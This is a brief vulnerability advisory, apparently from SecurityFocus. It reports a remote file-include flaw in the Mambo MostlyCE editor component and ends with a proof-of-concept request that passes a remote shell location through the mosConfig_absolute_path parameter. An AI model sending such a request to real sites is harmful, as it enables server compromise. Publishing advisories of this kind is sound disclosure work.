source: https://www.securityfocus.com/bid/20549/info

Mambo MostlyCE is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[path]/mostlyce/jscripts/tiny_mce/plugins/htmltemplate/htmltemplate.php?mosConfig_absolute_path=[shell]